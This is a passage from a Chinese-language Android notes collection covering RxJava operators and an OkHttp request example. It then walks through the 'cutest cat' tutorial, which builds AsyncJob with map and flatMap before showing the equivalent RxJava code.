Observables`\n\n`from()`接收一个集合作为输入，然后每次输出一个元素给`subscriber`.\n\n```java\nList<String> s = Arrays.asList(\"Java\", \"Android\", \"Ruby\", \"Ios\", \"Swift\");\nObservable.from(s).subscribe(new Action1<String>() {\n    @Override\n    public void call(String s) {\n        Log.i(\"@@@\", s);\n    }\n});\n```\n\n#### `filter`\n\n\n返回满足过滤条件的数据。  \n\n```java\nObservable.from(new Integer[]{1, 2, 3, 4, 5, 6, 7, 8, 9})\n                .filter(new Func1<Integer, Boolean>() {\n                    @Override\n                    public Boolean call(Integer integer) {\n                        return integer < 5;\n                    }\n                })\n                .subscribe(new Action1<Integer>() {\n                    @Override\n                    public void call(Integer integer) {\n                        Log.i(\"@@@\", \"integer=\" + integer); //1,2,3,4\n                    }\n                });\n```\n\n#### `timer`\n\n\n`Timer`会在指定时间后发射一个数字0，该操作符运行在`Computation Scheduler`。\n\n```java\nObservable.timer(3, TimeUnit.SECONDS).observeOn(AndroidSchedulers.mainThread())\n                .subscribe(new Action1<Long>() {\n                    @Override\n                    public void call(Long aLong) {\n                        Log.i(\"@@@\", \"aLong=\" + aLong); // 延时3s\n                    }\n                });\n```\n\n#### `interval`\n\n\n创建一个按固定时间间隔发射整数序列的`Observable`.\n`interval`默认在`computation`调度器上执行。\n\n```java\nObservable.interval(1, TimeUnit.SECONDS, AndroidSchedulers.mainThread())\n        .subscribe(new Action1<Long>() {\n            @Override\n            public void call(Long aLong) {\n                Log.i(\"@@@\", \"aLong=\" + aLong); //从0递增，间隔1s 0,1,2,3....\n            }\n        });\n```\n\n#### `Repeat`\n\n\n重复执行 \n\n\n#### `doOnNext`\n\n其实觉得`doOnNext`应该不算一个操作符，但考虑到其常用性，我们还是咬咬牙将它放在了这里。它的作用是让订阅者在接收到数据之前干点有意思的事情。假如我们在获取到数据之前想先保存一下它，无疑我们可以这样实现。\n\n#### `distinct`\n\n这个操作符非常的简单、通俗、易懂，就是简单的去重\n\n#### `take`\n\n`take`，接受一个`long`型参数`count`，代表至多接收`count`个数据。\n\n\n等等...就不继续介绍了，到时候查下文档就好了。\n\n是不是感觉没什么卵用，也稀里糊涂的，下面用一个网络请求的例子:   \n\n\n\n\n很多时候我们在使用`RxJava`的时候总是和`Retrofit`进行结合使用，而为了方便演示，这里我们就暂且采用`OkHttp3`进行演示，配合`map`，`doOnNext`，线程切换进行简单的网络请求:   \n\n- 通过`Observable.create()`方法，调用`OkHttp`网络请求；\n- 通过`map`操作符集合`gson`，将`Response`转换为`bean`类；\n- 通过`doOnNext()`方法，解析`bean`中的数据，并进行数据库存储等操作；\n- 调度线程，在子线程中进行耗时操作任务，在主线程中更新`UI`；\n- 通过`subscribe()`，根据请求成功或者失败来更新`UI`。\n```java\nObservable.create(new ObservableOnSubscribe<Response>() {\n    @Override\n    public void subscribe(@NonNull ObservableEmitter<Response> e) throws Exception {\n        Builder builder = new Builder()\n                .url(mUrl)\n                .get();\n        Request request = builder.build();\n        Call call = new OkHttpClient().newCall(request);\n        Response response = call.execute();\n        e.onNext(response);\n    }\n}).map(new Function<Response, MobileAddress>() {\n    @Override\n    public MobileAddress apply(@NonNull Response response) throws Exception {\n\n        Log.e(TAG, \"map 线程:\" + Thread.currentThread().getName() + \"\\n\");\n        if (response.isSuccessful()) {\n            ResponseBody body = response.body();\n            if (body != null) {\n                Log.e(TAG, \"map:转换前:\" + response.body());\n                return new Gson().fromJson(body.string(), MobileAddress.class);\n            }\n        }\n        return null;\n    }\n}).observeOn(AndroidSchedulers.mainThread())\n    .doOnNext(new Consumer<MobileAddress>() {\n        @Override\n        public void accept(@NonNull MobileAddress s) throws Exception {\n            Log.e(TAG, \"doOnNext 线程:\" + Thread.currentThread().getName() + \"\\n\");\n            mRxOperatorsText.append(\"\\ndoOnNext 线程:\" + Thread.currentThread().getName() + \"\\n\");\n            Log.e(TAG, \"doOnNext: 保存成功：\" + s.toString() + \"\\n\");\n            mRxOperatorsText.append(\"doOnNext: 保存成功：\" + s.toString() + \"\\n\");\n\n        }\n    }).subscribeOn(Schedulers.io())\n        .observeOn(AndroidSchedulers.mainThread())\n        .subscribe(new Consumer<MobileAddress>() {\n            @Override\n            public void accept(@NonNull MobileAddress data) throws Exception {\n                Log.e(TAG, \"subscribe 线程:\" + Thread.currentThread().getName() + \"\\n\");\n                mRxOperatorsText.append(\"\\nsubscribe 线程:\" + Thread.currentThread().getName() + \"\\n\");\n                Log.e(TAG, \"成功:\" + data.toString() + \"\\n\");\n                mRxOperatorsText.append(\"成功:\" + data.toString() + \"\\n\");\n            }\n        }, new Consumer<Throwable>() {\n            @Override\n            public void accept(@NonNull Throwable throwable) throws Exception {\n                Log.e(TAG, \"subscribe 线程:\" + Thread.currentThread().getName() + \"\\n\");\n                mRxOperatorsText.append(\"\\nsubscribe 线程:\" + Thread.currentThread().getName() + \"\\n\");\n\n                Log.e(TAG, \"失败：\" + throwable.getMessage() + \"\\n\");\n                mRxOperatorsText.append(\"失败：\" + throwable.getMessage() + \"\\n\");\n            }\n        });\n```\n\n\n\n更多内容请看下一篇文章[RxJava详解(二)][1]\n\n参考:   \n\n- [RxJava Wiki](https://github.com/ReactiveX/RxJava/wiki)\n- [Grokking RxJava, Part 1: The Basics](http://blog.danlew.net/2014/09/15/grokking-rxjava-part-1/)\n- [NotRxJava](https://yarikx.github.io/NotRxJava/)\n- [When Not to Use RxJava](http://tomstechnicalblog.blogspot.hk/2016/07/when-not-to-use-rxjava.html)\n- [给 Android 开发者的 RxJava 详解](http://gank.io/post/560e15be2dca930e00da1083)\n- [Google Agera 从入门到放弃](http://blog.chengyunfeng.com/?p=984)\n\n\n[1]: https://github.com/CharonChui/AndroidNote/blob/master/RxJavaPart/2.RxJava%E8%AF%A6%E8%A7%A3(%E4%BA%8C).md \"RxJava详解(二)\"\n\n---\n\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! \n"
  },
  {
    "path": "docs/android/AndroidNote/RxJavaPart/2.RxJava详解(二).md",
    "content": "RxJava详解(二)\n===\n\n\n说好的简洁呢？\n---\n\n上面这一部分，又是介绍、又是`Hello World`、又是数据变换，但是你会发现然而并没有什么卵用。说好的简洁一点也木有体现出来。    \n\n下面我们会通过一个简单的例子来进行说明。现在我们有这样一个需求:    \n\n> 有一个服务提供了一些`API`来搜索整个网络上的符合查询关键字的所有猫的图片。 每个图片包含一个可爱程度的参数(一个整数值表示其可爱程度)。 我们的任务就是下载所有猫的列表并选择最可爱的那个，把它的图片保存到本地。\n\n#### `Model`和`API`\n\n\n下面是猫的数据结构`Cat`:   \n\n```java\npublic class Cat implements Comparable<Cat>{\n    Bitmap image;\n    int cuteness;\n\n    @Override\n    public int compareTo(Cat another) {\n        return Integer.compare(cuteness, another.cuteness);\n    }\n}\n```\n\n我们的`API`会调用`cat-sdk.jar`中堵塞式的接口。\n```java\npublic interface Api {\n    List<Cat> queryCats(String query);\n    Uri store(Cat cat);\n}\n```\n\n看起来很清晰吧？当然了，我们继续写客户端的业务逻辑.\n```java\npublic class CatsHelper {\n\n    Api api;\n\n    public Uri saveTheCutestCat(String query){\n        List<Cat> cats = api.queryCats(query);\n        Cat cutest = findCutest(cats);\n        Uri savedUri = api.store(cutest);\n        return savedUri;\n    }\n\n    private Cat findCutest(List<Cat> cats) {\n        return Collections.max(cats);\n    }\n}\n```\n\n通俗易懂、简单明了，非常酷的代码。主要的函数`saveTheCutestCat()`只包含了3个方法。使用这些方法然后等待方法执行完并接受返回值就可以了。\n\n非常简单、有效。接下来我们看一下这种方式的其他优点。  \n\n#### 组合\n\n\n可以看到我们的`saveTheCutestCat`由其他三个函数调用所组成的。我们通过函数来把一个大功能分割为每个容易理解的小功能。通过函数调用来组合使用这些小功能。使用和理解起来都相当简单\n\n#### 异常传递\n\n\n另外一个使用函数的好处就是方便处理异常。每个函数都可以通过抛出异常来结束运行。该异常可以在抛出异常的函数里面处理，也可以在调用该函数的外面处理，所以我们无需每次都处理每个异常，我们可以在一个地方处理所有可能抛出的异常。\n\n\n```java\ntry{\n    List<Cat> cats = api.queryCats(query);\n    Cat cutest = findCutest(cats);\n    Uri savedUri = api.store(cutest);\n    return savedUri;\n} catch (Exception e) {\n    e.printStackTrace()\n    return someDefaultValue;\n}\n```\n\n这样，我们就可以处理这三个函数中所抛出的任何异常了。如果没有`try catch`语句，我们也可以把异常继续传递下去。\n\n\n向异步粗发\n---\n\n但是，现实世界中我们往往没法等待。有些时候你没法只使用阻塞调用。在`Android`中你需要处理各种异步操作。\n就那`Android`的`OnClickListener`接口来说吧，如果你需要处理一个`View`的点击事件，你必须提供一个该`Listener` 的实现来处理用户的点击事件。下面来看看如何处理异步调用。\n\n\n#### 异步网络调用\n\n\n假设我们的`cats-sdk.jar`使用了异步调用的`API`来访问网络资源，\n这样我们的新`API`接口就变为这样了：\n\n```java\npublic interface Api {\n    interface CatsQueryCallback {\n        void onCatListReceived(List<Cat> cats);\n        void onError(Exception e);\n    }\n\n\n    void queryCats(String query, CatsQueryCallback catsQueryCallback);\n\n    Uri store(Cat cat);\n}\n```\n这样我们查询猫的操作就变为异步的了， 通过`CatsQueryCallback`回调接口来结束查询的数据和处理异常情况。\n我们的业务逻辑也需要跟着改变一下：\n\n```java\npublic class CatsHelper {\n \n    public interface CutestCatCallback {\n        void onCutestCatSaved(Uri uri);\n        void onQueryFailed(Exception e);\n    }\n \n    Api api;\n \n    public void saveTheCutestCat(String query, CutestCatCallback cutestCatCallback){\n        api.queryCats(query, new Api.CatsQueryCallback() {\n            @Override\n            public void onCatListReceived(List<Cat> cats) {\n                Cat cutest = findCutest(cats);\n                Uri savedUri = api.store(cutest);\n                cutestCatCallback.onCutestCatSaved(savedUri);\n            }\n \n            @Override\n            public void onError(Exception e) {\n                cutestCatCallback.onQueryFailed(e);\n            }\n        });\n    }\n \n    private Cat findCutest(List<Cat> cats) {\n        return Collections.max(cats);\n    }\n}\n```\n\n我们没法让`saveTheCutestCat`函数返回一个值了， 我们需要一个回调接口来异步的处理结果。\n这里我们再进一步，使用两个异步操作来实现我们的功能,例如我们需要使用异步`IO`来写文件。\n\n```java\npublic interface Api {\n    interface CatsQueryCallback {\n        void onCatListReceived(List<Cat> cats);\n        void onQueryFailed(Exception e);\n    }\n \n    interface StoreCallback{\n        void onCatStored(Uri uri);\n        void onStoreFailed(Exception e);\n    }\n \n \n    void queryCats(String query, CatsQueryCallback catsQueryCallback);\n \n    void store(Cat cat, StoreCallback storeCallback);\n}\n```\n\n我们的`helper`会变成:    \n\n```java\npublic class CatsHelper {\n\n    public interface CutestCatCallback {\n        void onCutestCatSaved(Uri uri);\n        void onError(Exception e);\n    }\n\n    Api api;\n\n    public void saveTheCutestCat(String query, CutestCatCallback cutestCatCallback){\n        api.queryCats(query, new Api.CatsQueryCallback() {\n            @Override\n            public void onCatListReceived(List<Cat> cats) {\n                Cat cutest = findCutest(cats);\n                api.store(cutest, new Api.StoreCallback() {\n                    @Override\n                    public void onCatStored(Uri uri) {\n                        cutestCatCallback.onCutestCatSaved(uri);\n                    }\n\n                    @Override\n                    public void onStoreFailed(Exception e) {\n                        cutestCatCallback.onError(e);\n                    }\n                });\n            }\n\n            @Override\n            public void onQueryFailed(Exception e) {\n                cutestCatCallback.onError(e);\n            }\n        });\n    }\n\n    private Cat findCutest(List<Cat> cats) {\n        return Collections.max(cats);\n    }\n}\n```\n\n现在我们再来看看这部分代码？还是之前那样简单暴力？现在有太多的干扰代码、匿名类，这简直是太恐怖了，但是他们的业务逻辑其实是一样的，都是查询猫的列表数据，然后找出最可爱的猫并保存它的图片。    \n\n上面说好的组合功能没有了，现在你没法像阻塞操作一样来组合调用每个功能了，异步操作中，每次你都必须通过回调接口来手工的处理结果。 \n\n上面说好的异常处理也没有了，异步代码中的异常不会自动传递，我们需要手动的去重新传递。(`onStoreFailed()`和`onQueryFailed()`就是干这事的)\n\n\n#### 结果？\n\n\n然后呢？我们可以怎么做？我们能不能使用无回调的模式？我们试着修复一下。 \n\n\n#### 奔向更好的世界     \n#### 通用的回调\n\n\n如果我们仔细的观察下回调接口，我们会发现它们的共性:   \n\n- 它们都有一个分发结果的方法(`onCutestCatSaved()`,`onCatListReceived()`,`onCatStored()`)\n- 它们中的绝大部分都有一个处理操作过程中异常的方法(`onError()`, `onQueryFailed()`, `onStoreFailed()`)\n\n\n所以我们可以创建一个通用的回调来取代它们。但是我们无法修改`api`的调用结构，我们只能创建一个包裹层的调用。   \n\n我们通用的回调如下:  \n\n```java\npublic interface Callback<T> {\n    void onResult(T result);\n    void onError(Exception e);\n}\n```\n\n我们创建一个`ApiWrapper`类来改变我们调用的结构:   \n\n```java\npublic class ApiWrapper {\n    Api api;\n\n    public void queryCats(String query, Callback<List<Cat>> catsCallback){\n        api.queryCats(query, new Api.CatsQueryCallback() {\n            @Override\n            public void onCatListReceived(List<Cat> cats) {\n                catsCallback.onResult(cats);\n            }\n\n            @Override\n            public void onQueryFailed(Exception e) {\n                catsCallback.onError(e);\n            }\n        });\n    }\n\n    public void store(Cat cat, Callback<Uri> uriCallback){\n        api.store(cat, new Api.StoreCallback() {\n            @Override\n            public void onCatStored(Uri uri) {\n                uriCallback.onResult(uri);\n            }\n\n            @Override\n            public void onStoreFailed(Exception e) {\n                uriCallback.onError(e);\n            }\n        });\n    }\n}\n```\n这样通过新的回调我们可以减少一次处理结果和异常的逻辑。    \n最终，我们的`CatsHelper`如下:    \n```java\npublic class CatsHelper{\n\n    ApiWrapper apiWrapper;\n\n    public void saveTheCutestCat(String query, Callback<Uri> cutestCatCallback){\n        apiWrapper.queryCats(query, new Callback<List<Cat>>() {\n            @Override\n            public void onResult(List<Cat> cats) {\n                Cat cutest = findCutest(cats);\n                apiWrapper.store(cutest, cutestCatCallback);\n            }\n\n            @Override\n            public void onError(Exception e) {\n                cutestCatCallback.onError(e);\n            }\n        });\n    }\n\n    private Cat findCutest(List<Cat> cats) {\n        return Collections.max(cats);\n    }\n}\n```\n\n好了，现在比之前的代码稍微简单点了。但是我们能不能做的更好？ 当然可以！\n\n#### 保持参数和回调的分离性\n\n\n\n看看这些新的异步操作(`queryCats`,` store`和`saveTheCutestCat`)。这些函数都有同样的模式。使用一些参数来调用这些函数`(query,cat)`，同时还有一个回调接口作为参数。甚至，所有的异步操作都带有一些常规参数和一个额外的回调接口参数。如果我们把他们分离开会如何，让每个异步操作只有一些常规参数而把返回一个临时的对象来操作回调接口。\n下面来试试看看这种方式能否有效。\n如果我们返回一个临时的对象作为异步操作的回调接口处理方式，我们需要先定义这个对象。由于对象遵守通用的行为(有一个回调接口参数)，我们定义一个能用于所有操作的对象。我们称之为`AsyncJob`。\n\n> 注意： 我非常想把这个名字称之为`AsyncTask`。但是由于`Android`系统已经有个`AsyncTask`类了， 为了避免混淆，所以就用`AsyncJob`了。\n\n该对象如下:   \n```java\npublic abstract class AsyncJob<T> {\n    public abstract void start(Callback<T> callback);\n}\n```\n\n`start()`函数有个`Callback`回调接口参数，并开始执行该操作。\n`ApiWrapper`修改为：\n```java\npublic class ApiWrapper {\n    Api api;\n \n    public AsyncJob<List<Cat>> queryCats(String query) {\n        return new AsyncJob<List<Cat>>() {\n            @Override\n            public void start(Callback<List<Cat>> catsCallback) {\n                api.queryCats(query, new Api.CatsQueryCallback() {\n                    @Override\n                    public void onCatListReceived(List<Cat> cats) {\n                        catsCallback.onResult(cats);\n                    }\n \n                    @Override\n                    public void onQueryFailed(Exception e) {\n                        catsCallback.onError(e);\n                    }\n                });\n            }\n        };\n    }\n \n    public AsyncJob<Uri> store(Cat cat) {\n        return new AsyncJob<Uri>() {\n            @Override\n            public void start(Callback<Uri> uriCallback) {\n                api.store(cat, new Api.StoreCallback() {\n                    @Override\n                    public void onCatStored(Uri uri) {\n                        uriCallback.onResult(uri);\n                    }\n \n                    @Override\n                    public void onStoreFailed(Exception e) {\n                        uriCallback.onError(e);\n                    }\n                });\n            }\n        };\n    }\n}\n```\n目前看起来还不错。现在可以使用`AsyncJob.start()`来启动每个操作了。接下来我们修改`CatsHelper`类：\n\n```java\npublic class CatsHelper {\n \n    ApiWrapper apiWrapper;\n \n    public AsyncJob<Uri> saveTheCutestCat(String query) {\n        return new AsyncJob<Uri>() {\n            @Override\n            public void start(Callback<Uri> cutestCatCallback) {\n                apiWrapper.queryCats(query)\n                        .start(new Callback<List<Cat>>() {\n                            @Override\n                            public void onResult(List<Cat> cats) {\n                                Cat cutest = findCutest(cats);\n                                apiWrapper.store(cutest)\n                                        .start(new Callback<Uri>() {\n                                            @Override\n                                            public void onResult(Uri result) {\n                                                cutestCatCallback.onResult(result);\n                                            }\n \n                                            @Override\n                                            public void onError(Exception e) {\n                                                cutestCatCallback.onError(e);\n                                            }\n                                        });\n                            }\n \n                            @Override\n                            public void onError(Exception e) {\n                                cutestCatCallback.onError(e);\n                            }\n                        });\n            }\n        };\n    }\n \n    private Cat findCutest(List<Cat> cats) {\n        return Collections.max(cats);\n    }\n}\n```\n\n看起来比前面一个版本更加复杂啊，这样有啥好处啊？\n这里其实我们返回的是一个`AsyncJob`对象，该对象和客户端代码组合使用，这样在`Activity`或者`Fragment`客户端代码中就可以操作这个返回的对象了。\n代码虽然目前看起来比较复杂，下面我们就来改进一下。\n\n#### 分解\n\n\n下面是流程图:   \n```java\n         (async)                 (sync)           (async)\nquery ===========> List<Cat> -------------> Cat ==========> Uri\n       queryCats              findCutest           store\n```\n\n为了让代码具有可读性，我们把这个流程分解为每个操作。同时我们再进一步假设，如果一个操作是异步的，则每个调用该异步操作的函数也是异步的。例如：如果查询猫是个异步操作，则找到最可爱的猫操作也是异步的。\n\n因此，我们可以使用`AsyncJob`来把这些操作分解为一些小的操作中。\n\n```java\npublic class CatsHelper {\n \n    ApiWrapper apiWrapper;\n \n    public AsyncJob<Uri> saveTheCutestCat(String query) {\n        AsyncJob<List<Cat>> catsListAsyncJob = apiWrapper.queryCats(query);\n        AsyncJob<Cat> cutestCatAsyncJob = new AsyncJob<Cat>() {\n            @Override\n            public void start(Callback<Cat> callback) {\n                catsListAsyncJob.start(new Callback<List<Cat>>() {\n                    @Override\n                    public void onResult(List<Cat> result) {\n                        callback.onResult(findCutest(result));\n                    }\n \n                    @Override\n                    public void onError(Exception e) {\n                        callback.onError(e);\n                    }\n                });\n            }\n        };\n \n        AsyncJob<Uri> storedUriAsyncJob = new AsyncJob<Uri>() {\n            @Override\n            public void start(Callback<Uri> cutestCatCallback) {\n                cutestCatAsyncJob.start(new Callback<Cat>() {\n                    @Override\n                    public void onResult(Cat cutest) {\n                        apiWrapper.store(cutest)\n                                .start(new Callback<Uri>() {\n                                    @Override\n                                    public void onResult(Uri result) {\n                                        cutestCatCallback.onResult(result);\n                                    }\n \n                                    @Override\n                                    public void onError(Exception e) {\n                                        cutestCatCallback.onError(e);\n                                    }\n                                });\n                    }\n \n                    @Override\n                    public void onError(Exception e) {\n                        cutestCatCallback.onError(e);\n                    }\n                });\n            }\n        };\n        return storedUriAsyncJob;\n    }\n \n    private Cat findCutest(List<Cat> cats) {\n        return Collections.max(cats);\n    }\n}\n```\n\n虽然代码量多了，但是看起来更加清晰了。 嵌套的回调函数没那么多层级了，异步操作的名字也更容易理解了(`catsListAsyncJob`,`cutestCatAsyncJob`, `storedUriAsyncJob`)。\n看起来还不错，但是还可以更好。\n\n#### 简单的映射\n\n\n先来看看我们创建 AsyncJob cutestCatAsyncJob 的代码：\n\n```java\nAsyncJob<Cat> cutestCatAsyncJob = new AsyncJob<Cat>() {\n            @Override\n            public void start(Callback<Cat> callback) {\n                catsListAsyncJob.start(new Callback<List<Cat>>() {\n                    @Override\n                    public void onResult(List<Cat> result) {\n                        callback.onResult(findCutest(result));\n                    }\n \n                    @Override\n                    public void onError(Exception e) {\n                        callback.onError(e);\n                    }\n                });\n            }\n        };\n```\n\n这 16 行代码中，只有一行代码是我们的业务逻辑代码：\n```java\nfindCutest(result)\n```\n其他的代码只是为了启动`AsyncJob`并接收结果和处理异常的干扰代码。 但是这些代码是通用的，我们可以把他们放到其他地方来让我们更加专注业务逻辑代码。\n那么如何实现呢？需要做两件事情：\n- 通过`AsyncJob`获取需要转换的结果\n- 转换的函数\n\n但是由于`Java`的限制，无法把函数作为参数，所以需要用一个接口（或者类）并在里面定义一个转换函数：\n\n```java\npublic interface Func<T, R> {\n    R call(T t);\n}\n```\n灰常简单。 有两个泛型类型定义，`T`代表参数的类型；`R`代表返回值的类型。\n\n当我们把`AsyncJob`的结果转换为其他类型的时候，我们需要把一个结果值映射为另外一种类型，这个操作我们称之为`map`。 把该函数定义到`AsyncJob`类中比较方便，这样就可以通过`this`来访问`AsyncJob`对象了。\n\n```java\npublic abstract class AsyncJob<T> {\n    public abstract void start(Callback<T> callback);\n \n    public <R> AsyncJob<R> map(Func<T, R> func){\n        final AsyncJob<T> source = this;\n        return new AsyncJob<R>() {\n            @Override\n            public void start(Callback<R> callback) {\n                source.start(new Callback<T>() {\n                    @Override\n                    public void onResult(T result) {\n                        R mapped = func.call(result);\n                        callback.onResult(mapped);\n                    }\n \n                    @Override\n                    public void onError(Exception e) {\n                        callback.onError(e);\n                    }\n                });\n            }\n        };\n    }\n}\n```\n\n看起来不错， 现在的`CatsHelper`如下：\n\n```java\npublic class CatsHelper {\n \n    ApiWrapper apiWrapper;\n \n    public AsyncJob<Uri> saveTheCutestCat(String query) {\n        AsyncJob<List<Cat>> catsListAsyncJob = apiWrapper.queryCats(query);\n        AsyncJob<Cat> cutestCatAsyncJob = catsListAsyncJob.map(new Func<List<Cat>, Cat>() {\n            @Override\n            public Cat call(List<Cat> cats) {\n                return findCutest(cats);\n            }\n        });\n \n        AsyncJob<Uri> storedUriAsyncJob = new AsyncJob<Uri>() {\n            @Override\n            public void start(Callback<Uri> cutestCatCallback) {\n                cutestCatAsyncJob.start(new Callback<Cat>() {\n                    @Override\n                    public void onResult(Cat cutest) {\n                        apiWrapper.store(cutest)\n                                .start(new Callback<Uri>() {\n                                    @Override\n                                    public void onResult(Uri result) {\n                                        cutestCatCallback.onResult(result);\n                                    }\n \n                                    @Override\n                                    public void onError(Exception e) {\n                                        cutestCatCallback.onError(e);\n                                    }\n                                });\n                    }\n \n                    @Override\n                    public void onError(Exception e) {\n                        cutestCatCallback.onError(e);\n                    }\n                });\n            }\n        };\n        return storedUriAsyncJob;\n    }\n \n    private Cat findCutest(List<Cat> cats) {\n        return Collections.max(cats);\n    }\n}\n```\n\n新创建的`AsyncJob cutestCatAsyncJob()`的代码只有6行，并且只有一层嵌套。\n\n\n#### 高级映射\n\n\n但是`AsyncJob storedUriAsyncJob()`看起来还是非常糟糕。 这里也能使用映射吗？ 下面就来试试吧！\n\n```java\npublic class CatsHelper {\n \n    ApiWrapper apiWrapper;\n \n    public AsyncJob<Uri> saveTheCutestCat(String query) {\n        AsyncJob<List<Cat>> catsListAsyncJob = apiWrapper.queryCats(query);\n        AsyncJob<Cat> cutestCatAsyncJob = catsListAsyncJob.map(new Func<List<Cat>, Cat>() {\n            @Override\n            public Cat call(List<Cat> cats) {\n                return findCutest(cats);\n            }\n        });\n \n        AsyncJob<Uri> storedUriAsyncJob = cutestCatAsyncJob.map(new Func<Cat, Uri>() {\n            @Override\n            public Uri call(Cat cat) {\n                return apiWrapper.store(cat);\n        //      ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ 将会导致无法编译\n        //      Incompatible types:\n        //      Required: Uri\n        //      Found: AsyncJob<Uri>                \n            }\n        });\n        return storedUriAsyncJob;\n    }\n \n    private Cat findCutest(List<Cat> cats) {\n        return Collections.max(cats);\n    }\n}\n```\n哎。。。 看起来没这么简单啊， 下面修复返回的类型再试一次：\n\n```java\npublic class CatsHelper {\n \n    ApiWrapper apiWrapper;\n \n    public AsyncJob<Uri> saveTheCutestCat(String query) {\n        AsyncJob<List<Cat>> catsListAsyncJob = apiWrapper.queryCats(query);\n        AsyncJob<Cat> cutestCatAsyncJob = catsListAsyncJob.map(new Func<List<Cat>, Cat>() {\n            @Override\n            public Cat call(List<Cat> cats) {\n                return findCutest(cats);\n            }\n        });\n \n        AsyncJob<AsyncJob<Uri>> storedUriAsyncJob = cutestCatAsyncJob.map(new Func<Cat, AsyncJob<Uri>>() {\n            @Override\n            public AsyncJob<Uri> call(Cat cat) {\n                return apiWrapper.store(cat);\n            }\n        });\n        return storedUriAsyncJob;\n        //^^^^^^^^^^^^^^^^^^^^^^^ 将会导致无法编译\n        //      Incompatible types:\n        //      Required: AsyncJob<Uri>\n        //      Found: AsyncJob<AsyncJob<Uri>>\n    }\n \n    private Cat findCutest(List<Cat> cats) {\n        return Collections.max(cats);\n    }\n}\n```\n\n这里我们只能拿到`AsyncJob<AsyncJob>` 。看来还需要更进一步。我们需要压缩一层`AsyncJob`，把两个异步操作当做一个单一的异步操作来对待。\n现在我们需要一个参数为`AsyncJob`的`map`转换操作而不是`R`。该操作类似于`map`，但是该操作会把嵌套的`AsyncJob`压缩为`flatten`一层`AsyncJob`. 我们称之为`flatMap`，实现如下：\n\n```java\npublic abstract class AsyncJob<T> {\n    public abstract void start(Callback<T> callback);\n \n    public <R> AsyncJob<R> map(Func<T, R> func){\n        final AsyncJob<T> source = this;\n        return new AsyncJob<R>() {\n            @Override\n            public void start(Callback<R> callback) {\n                source.start(new Callback<T>() {\n                    @Override\n                    public void onResult(T result) {\n                        R mapped = func.call(result);\n                        callback.onResult(mapped);\n                    }\n \n                    @Override\n                    public void onError(Exception e) {\n                        callback.onError(e);\n                    }\n                });\n            }\n        };\n    }\n \n    public <R> AsyncJob<R> flatMap(Func<T, AsyncJob<R>> func){\n        final AsyncJob<T> source = this;\n        return new AsyncJob<R>() {\n            @Override\n            public void start(Callback<R> callback) {\n                source.start(new Callback<T>() {\n                    @Override\n                    public void onResult(T result) {\n                        AsyncJob<R> mapped = func.call(result);\n                        mapped.start(new Callback<R>() {\n                            @Override\n                            public void onResult(R result) {\n                                callback.onResult(result);\n                            }\n \n                            @Override\n                            public void onError(Exception e) {\n                                callback.onError(e);\n                            }\n                        });\n                    }\n \n                    @Override\n                    public void onError(Exception e) {\n                        callback.onError(e);\n                    }\n                });\n            }\n        };\n    }\n}\n```\n\n看起来有很多干扰代码，但是还好这些代码在客户端代码中并不会出现。 现在我们的`CatsHelper`如下：\n\n```java\npublic class CatsHelper {\n \n    ApiWrapper apiWrapper;\n \n    public AsyncJob<Uri> saveTheCutestCat(String query) {\n        AsyncJob<List<Cat>> catsListAsyncJob = apiWrapper.queryCats(query);\n        AsyncJob<Cat> cutestCatAsyncJob = catsListAsyncJob.map(new Func<List<Cat>, Cat>() {\n            @Override\n            public Cat call(List<Cat> cats) {\n                return findCutest(cats);\n            }\n        });\n \n        AsyncJob<Uri> storedUriAsyncJob = cutestCatAsyncJob.flatMap(new Func<Cat, AsyncJob<Uri>>() {\n            @Override\n            public AsyncJob<Uri> call(Cat cat) {\n                return apiWrapper.store(cat);\n            }\n        });\n        return storedUriAsyncJob;\n    }\n \n    private Cat findCutest(List<Cat> cats) {\n        return Collections.max(cats);\n    }\n}\n```\n\n如果把匿名类修改为`Java 8`的`lambdas`表达式（逻辑是一样的，只是让代码看起来更清晰点）就很容易发现了。\n\n```java\npublic class CatsHelper {\n \n    ApiWrapper apiWrapper;\n \n    public AsyncJob<Uri> saveTheCutestCat(String query) {\n        AsyncJob<List<Cat>> catsListAsyncJob = apiWrapper.queryCats(query);\n        AsyncJob<Cat> cutestCatAsyncJob = catsListAsyncJob.map(cats -> findCutest(cats));\n        AsyncJob<Uri> storedUriAsyncJob = cutestCatAsyncJob.flatMap(cat -> apiWrapper.store(cat));\n        return storedUriAsyncJob;\n    }\n \n    private Cat findCutest(List<Cat> cats) {\n        return Collections.max(cats);\n    }\n}\n```\n\n这样看起来是不是就很清晰了。 这个代码和刚刚开头的阻塞式代码是不是非常相似：\n\n```java\npublic class CatsHelper {\n \n    Api api;\n \n    public Uri saveTheCutestCat(String query){\n        List<Cat> cats = api.queryCats(query);\n        Cat cutest = findCutest(cats);\n        Uri savedUri = api.store(cutest);\n        return savedUri;\n    }\n \n    private Cat findCutest(List<Cat> cats) {\n        return Collections.max(cats);\n    }\n}\n```\n\n现在他们不仅逻辑是一样的，语义上也是一样的。 太棒了！\n同时我们还可以使用组合操作，现在把两个异步操作组合一起并返还另外一个异步操作。\n异常处理也会传递到最终的回调接口中。\n下面来看看`RxJava`吧。\n你没必要把上面代码应用到您的项目中去， 这些简单的、线程不安全的代码只是 `RxJava`的一部分。\n只有一些名字上的不同：\n\n- `AsyncJob`等同于`Observable`，不仅仅可以返回一个结果，还可以返回一系列的结果，当然也可能没有结果返回。\n- `Callback`等同于`Observer`，除了`onNext(T t)`, `onError(Throwable t)`以外，还有一个`onCompleted()`函数，该函数在结束继续返回结果的时候通知`Observable`。\n- `abstract void start(Callback callback)`和`Subscription subscribe(final Observer observer)`类似，返回一个`Subscription`，如果你不再需要后面的结果了，可以取消该任务。\n\n下面是`RxJava`版本的代码:    \n\n```java\npublic class ApiWrapper {\n    Api api;\n \n    public Observable<List<Cat>> queryCats(final String query) {\n        return Observable.create(new Observable.OnSubscribe<List<Cat>>() {\n            @Override\n            public void call(final Subscriber<? super List<Cat>> subscriber) {\n                api.queryCats(query, new Api.CatsQueryCallback() {\n                    @Override\n                    public void onCatListReceived(List<Cat> cats) {\n                        subscriber.onNext(cats);\n                    }\n \n                    @Override\n                    public void onQueryFailed(Exception e) {\n                        subscriber.onError(e);\n                    }\n                });\n            }\n        });\n    }\n \n    public Observable<Uri> store(final Cat cat) {\n        return Observable.create(new Observable.OnSubscribe<Uri>() {\n            @Override\n            public void call(final Subscriber<? super Uri> subscriber) {\n                api.store(cat, new Api.StoreCallback() {\n                    @Override\n                    public void onCatStored(Uri uri) 